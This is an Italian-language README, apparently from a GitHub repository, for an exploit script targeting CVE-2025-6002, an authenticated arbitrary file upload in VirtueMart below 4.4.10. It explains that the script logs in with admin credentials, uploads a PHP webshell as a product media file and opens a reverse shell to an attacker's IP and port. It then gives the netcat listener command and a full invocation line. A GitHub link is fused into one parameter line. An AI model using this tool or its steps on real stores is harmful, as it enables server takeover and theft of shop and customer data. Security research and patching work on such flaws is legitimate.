Exploit per CVE-2025-6002

Questo script sfrutta la vulnerabilità di caricamento arbitrario di file autenticato in VirtueMart < 4.4.10 (CVE-2025-6002), descritta in questo post del blog: https://blog.blacklanternsecurity.com/p/doomla-zero-days

Questo script effettua il login a VirtueMart con le credenziali fornite, crea un nuovo prodotto e carica una webshell PHP come file multimediale. Quindi invoca una reverse shell all'IP/porta forniti.

Parametri:

• --url: L'URL di VirtueMart
• --username: nome utente admin
• --password: password admin
• --remote-ip: indirizzo IP dell'attaccantehttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: porta dell'attaccante

Utilizzo:

1. Esegui Netcat sulla macchina dell'attaccante:

nc -nlvp 1337

2. Esegui l'exploit:

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337